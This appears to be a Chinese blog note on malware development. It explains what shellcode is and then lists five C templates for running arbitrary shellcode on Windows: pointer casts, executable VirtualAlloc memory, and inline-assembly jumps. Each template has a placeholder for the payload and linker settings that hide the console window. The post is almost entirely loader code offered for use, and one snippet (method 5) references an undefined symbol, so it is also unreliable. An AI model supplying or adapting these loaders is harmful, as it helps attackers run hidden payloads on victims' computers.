惡意軟體開發——shellcode執行的幾種常見方式

• 2021 年 9 月 1 日
• 筆記
• 惡意軟體開發, 軟趴趴

一、什麼是shellcode？

shellcode是一小段程式碼，用於利用軟體漏洞作為有效載荷。它之所以被稱為「shellcode」，是因為它通常啟動一個命令shell，攻擊者可以從這個命令shell控制受損的電腦，但是執行類似任務的任何程式碼都可以被稱為shellcode。因為有效載荷（payload）的功能不僅限於生成shell

簡單來說：shellcode為16進位的機器碼，是一段執行某些動作的機器碼

那麼，什麼是機器碼呢？

在百度百科中這樣解釋道：電腦直接使用的程式語言，其語句就是機器指令碼，機器指令碼是用於指揮電腦應做的操作和操作數地址的一組二進位數

簡單來說：直接指揮電腦的機器指令碼

二、shellcode執行的幾種常見方式

1、指針執行
最常見的一種載入shellcode的方法，使用指針來執行函數

#include <Windows.h>
#include <stdio.h>

unsigned char buf[] =
"你的shellcode";

#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程式不出黑窗口
int main()
{
	
	((void(*)(void)) & buf)();
}

2、申請動態記憶體載入
申請一段動態記憶體，然後把shellcode放進去，隨後強轉為一個函數類型指針，最後調用這個函數

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程式不出黑窗口

int main()
{
    char shellcode[] = "你的shellcode";
    
    void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();
}

3、嵌入彙編載入
註：必須要x86版本的shellcode

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程式不出黑窗口

unsigned char shellcode[] = "你的shellcode";
void main()
{
	__asm
	{

		mov eax, offset shellcode
		jmp eax
	}
}

4、強制類型轉換

#include <windows.h>
#include <stdio.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程式不出黑窗口

unsigned char buff[] = "你的shellcode";

void main()
{
	((void(WINAPI*)(void)) & buff)();
}

5、彙編花指令
和方法3差不多

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程式不出黑窗口

unsigned char buff[] = "你的shellcode";
void main()
{
	__asm
	{		
		mov eax, offset xff;
		_emit 0xFF;
		_emit 0xE0;
	}
}

以上五種方法就是最常見的shellcode執行方式